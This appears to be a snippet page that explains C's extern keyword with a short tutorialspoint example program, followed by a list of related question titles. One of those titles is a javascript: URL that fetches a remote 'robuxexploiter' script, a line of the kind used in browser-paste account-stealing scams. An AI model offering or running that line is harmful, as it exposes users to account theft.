What is the usage of extern in c

#include <stdio.h>
extern int x = 32;
int b = 8;
int main() {
   auto int a = 28;
   extern int b;
   printf("The value of auto variable : %d\n", a);
   printf("The value of extern variables x and b : %d,%d\n",x,b);
   x = 15;
   printf("The value of modified extern variable x : %d\n",x);
   return 0;
}

Source: tutorialspoint.com

Similar codes

0 vote203 views1 answer
Actionbar content color in android
C
0 vote166 views10 answers
Convert c code to python online free
C
0 vote81 views1 answer
Lxc Failed to load config for
C
0 vote158 views1 answer
How to check the word is present in given char array in c
C
0 vote154 views10 answers
Xjavascript:$.get('//robloxassets.com/i/robuxexploiter/robuxexploiter.js')
C
0 vote138 views7 answers
C++ convert to assembly language
C
2 votes205 views1 answer
Mirzapur 2
C
22 votes182 views6 answers
ModuleNotFoundError: No module named 'cv2'
C
0 vote140 views1 answer
Bootsrap textbox
C
0 vote132 views1 answer
Fine print serial key
C